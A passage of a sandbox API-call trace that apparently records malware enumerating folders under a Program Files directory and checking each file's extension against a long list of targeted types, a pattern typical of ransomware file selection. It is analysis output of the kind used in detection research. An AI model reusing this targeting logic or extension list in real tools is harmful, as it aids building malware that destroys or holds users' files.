[0183.494] lstrlenW (lpString=".accdw") returned 6 [0183.494] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0183.494] lstrlenW (lpString=".adb") returned 4 [0183.494] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.494] lstrlenW (lpString=".adp") returned 4 [0183.494] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.494] lstrlenW (lpString=".ai") returned 3 [0183.494] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.494] lstrlenW (lpString=".ai3") returned 4 [0183.494] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.494] lstrlenW (lpString=".ai4") returned 4 [0183.494] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.494] lstrlenW (lpString=".ai5") returned 4 [0183.494] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.494] lstrlenW (lpString=".ai6") returned 4 [0183.494] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.494] lstrlenW (lpString=".ai7") returned 4 [0183.494] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.494] lstrlenW (lpString=".ai8") returned 4 [0183.494] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.494] lstrlenW (lpString=".anim") returned 5 [0183.494] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0183.494] lstrlenW (lpString=".arw") returned 4 [0183.494] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.494] lstrlenW (lpString=".as") returned 3 [0183.494] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.494] lstrlenW (lpString=".asa") returned 4 [0183.494] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.494] lstrlenW (lpString=".asc") returned 4 [0183.494] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.495] lstrlenW (lpString=".ascx") returned 5 [0183.495] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0183.495] lstrlenW (lpString=".asm") returned 4 [0183.495] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.495] lstrlenW (lpString=".asmx") returned 5 [0183.495] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0183.495] lstrlenW (lpString=".asp") returned 4 [0183.495] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.495] lstrlenW (lpString=".aspx") returned 5 [0183.495] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0183.495] lstrlenW (lpString=".asr") returned 4 [0183.495] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.495] lstrlenW (lpString=".asx") returned 4 [0183.495] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.495] lstrlenW (lpString=".avi") returned 4 [0183.495] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.495] lstrlenW (lpString=".avs") returned 4 [0183.495] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.495] lstrlenW (lpString=".backup") returned 7 [0183.495] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0183.495] lstrlenW (lpString=".bak") returned 4 [0183.495] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.495] lstrlenW (lpString=".bay") returned 4 [0183.495] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.495] lstrlenW (lpString=".bd") returned 3 [0183.495] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.495] lstrlenW (lpString=".bin") returned 4 [0183.495] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.495] lstrlenW (lpString=".bmp") returned 4 [0183.495] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.495] lstrlenW (lpString=".bz2") returned 4 [0183.495] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.495] lstrlenW (lpString=".c") returned 2 [0183.495] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.495] lstrlenW (lpString=".cdr") returned 4 [0183.496] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.496] lstrlenW (lpString=".cer") returned 4 [0183.496] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.496] lstrlenW (lpString=".cf") returned 3 [0183.496] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.496] lstrlenW (lpString=".cfc") returned 4 [0183.496] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.496] lstrlenW (lpString=".cfm") returned 4 [0183.496] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.496] lstrlenW (lpString=".cfml") returned 5 [0183.496] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0183.496] lstrlenW (lpString=".cfu") returned 4 [0183.496] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.496] lstrlenW (lpString=".chm") returned 4 [0183.496] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.496] lstrlenW (lpString=".cin") returned 4 [0183.496] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.496] lstrlenW (lpString=".class") returned 6 [0183.496] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0183.496] lstrlenW (lpString=".clx") returned 4 [0183.496] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.496] lstrlenW (lpString=".config") returned 7 [0183.496] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0183.496] lstrlenW (lpString=".cpp") returned 4 [0183.496] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.496] lstrlenW (lpString=".cr2") returned 4 [0183.496] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.496] lstrlenW (lpString=".crt") returned 4 [0183.496] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.496] lstrlenW (lpString=".crw") returned 4 [0183.496] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.496] lstrlenW (lpString=".cs") returned 3 [0183.496] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.497] lstrlenW (lpString=".css") returned 4 [0183.497] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".csv") returned 4 [0183.497] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".cub") returned 4 [0183.497] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".dae") returned 4 [0183.497] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".dat") returned 4 [0183.497] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".db") returned 3 [0183.497] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.497] lstrlenW (lpString=".dbf") returned 4 [0183.497] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".dbx") returned 4 [0183.497] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".dc3") returned 4 [0183.497] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".dcm") returned 4 [0183.497] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".dcr") returned 4 [0183.497] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".der") returned 4 [0183.497] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".dib") returned 4 [0183.497] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".dic") returned 4 [0183.497] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".dif") returned 4 [0183.497] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.497] lstrlenW (lpString=".divx") returned 5 [0183.497] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0183.497] lstrlenW (lpString=".djvu") returned 5 [0183.497] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0183.498] lstrlenW (lpString=".dng") returned 4 [0183.498] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.498] lstrlenW (lpString=".doc") returned 4 [0183.498] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.498] lstrlenW (lpString=".docm") returned 5 [0183.498] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0183.498] lstrlenW (lpString=".docx") returned 5 [0183.498] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0183.498] lstrlenW (lpString=".dot") returned 4 [0183.498] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.498] lstrlenW (lpString=".dotm") returned 5 [0183.498] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0183.498] lstrlenW (lpString=".dotx") returned 5 [0183.498] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0183.498] lstrlenW (lpString=".dpx") returned 4 [0183.498] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.498] lstrlenW (lpString=".dqy") returned 4 [0183.498] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.498] lstrlenW (lpString=".dsn") returned 4 [0183.498] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.498] lstrlenW (lpString=".dt") returned 3 [0183.498] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.498] lstrlenW (lpString=".dtd") returned 4 [0183.498] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.498] lstrlenW (lpString=".dwg") returned 4 [0183.498] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.498] lstrlenW (lpString=".dwt") returned 4 [0183.498] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.498] lstrlenW (lpString=".dx") returned 3 [0183.498] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.498] lstrlenW (lpString=".dxf") returned 4 [0183.498] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.498] lstrlenW (lpString=".edml") returned 5 [0183.498] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0183.499] lstrlenW (lpString=".efd") returned 4 [0183.499] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".elf") returned 4 [0183.499] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".emf") returned 4 [0183.499] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".emz") returned 4 [0183.499] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".epf") returned 4 [0183.499] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".eps") returned 4 [0183.499] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".epsf") returned 5 [0183.499] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0183.499] lstrlenW (lpString=".epsp") returned 5 [0183.499] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0183.499] lstrlenW (lpString=".erf") returned 4 [0183.499] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".exr") returned 4 [0183.499] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".f4v") returned 4 [0183.499] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".fido") returned 5 [0183.499] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0183.499] lstrlenW (lpString=".flm") returned 4 [0183.499] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".flv") returned 4 [0183.499] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".frm") returned 4 [0183.499] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".fxg") returned 4 [0183.499] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".geo") returned 4 [0183.499] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.499] lstrlenW (lpString=".gif") returned 4 [0183.500] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.500] lstrlenW (lpString=".grs") returned 4 [0183.500] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.500] lstrlenW (lpString=".gz") returned 3 [0183.500] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.500] lstrlenW (lpString=".h") returned 2 [0183.500] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.500] lstrlenW (lpString=".hdr") returned 4 [0183.500] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.500] lstrlenW (lpString=".hpp") returned 4 [0183.500] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.500] lstrlenW (lpString=".hta") returned 4 [0183.500] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0183.500] lstrlenW (lpString=".htc") returned 4 [0183.500] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0183.500] lstrlenW (lpString=".htm") returned 4 [0183.500] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0183.500] lstrlenW (lpString=".html") returned 5 [0183.500] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0183.500] lstrlenW (lpString=".icb") returned 4 [0183.500] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0183.500] lstrlenW (lpString=".ics") returned 4 [0183.500] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0183.500] lstrlenW (lpString=".iff") returned 4 [0183.500] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0183.500] lstrlenW (lpString=".inc") returned 4 [0183.501] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0183.501] lstrlenW (lpString=".indd") returned 5 [0183.501] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0183.501] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.501] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e93ff63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e93ff63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.501] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e93ff63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e93ff63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.501] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0183.502] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0183.502] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0183.502] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0183.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0183.505] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.505] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x94f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.505] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.505] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.505] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.505] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.505] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0183.506] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0183.506] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1 [0183.506] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0183.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0183.509] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.509] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.509] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.509] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0183.509] lstrlenW (lpString=".1cd") returned 4 [0183.509] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.509] lstrlenW (lpString=".3ds") returned 4 [0183.509] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.510] lstrlenW (lpString=".3fr") returned 4 [0183.510] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.510] lstrlenW (lpString=".3g2") returned 4 [0183.510] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.510] lstrlenW (lpString=".3gp") returned 4 [0183.510] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.510] lstrlenW (lpString=".7z") returned 3 [0183.510] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.510] lstrlenW (lpString=".accda") returned 6 [0183.510] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0183.510] lstrlenW (lpString=".accdb") returned 6 [0183.510] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0183.510] lstrlenW (lpString=".accdc") returned 6 [0183.510] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0183.510] lstrlenW (lpString=".accde") returned 6 [0183.510] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0183.510] lstrlenW (lpString=".accdt") returned 6 [0183.510] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0183.510] lstrlenW (lpString=".accdw") returned 6 [0183.510] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0183.510] lstrlenW (lpString=".adb") returned 4 [0183.510] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.510] lstrlenW (lpString=".adp") returned 4 [0183.510] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.510] lstrlenW (lpString=".ai") returned 3 [0183.510] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.510] lstrlenW (lpString=".ai3") returned 4 [0183.510] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.510] lstrlenW (lpString=".ai4") returned 4 [0183.510] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.511] lstrlenW (lpString=".ai5") returned 4 [0183.511] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.511] lstrlenW (lpString=".ai6") returned 4 [0183.511] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.511] lstrlenW (lpString=".ai7") returned 4 [0183.511] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.511] lstrlenW (lpString=".ai8") returned 4 [0183.511] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.511] lstrlenW (lpString=".anim") returned 5 [0183.511] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0183.511] lstrlenW (lpString=".arw") returned 4 [0183.511] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.511] lstrlenW (lpString=".as") returned 3 [0183.511] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.511] lstrlenW (lpString=".asa") returned 4 [0183.511] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.511] lstrlenW (lpString=".asc") returned 4 [0183.511] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.511] lstrlenW (lpString=".ascx") returned 5 [0183.511] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0183.511] lstrlenW (lpString=".asm") returned 4 [0183.511] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.511] lstrlenW (lpString=".asmx") returned 5 [0183.511] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0183.511] lstrlenW 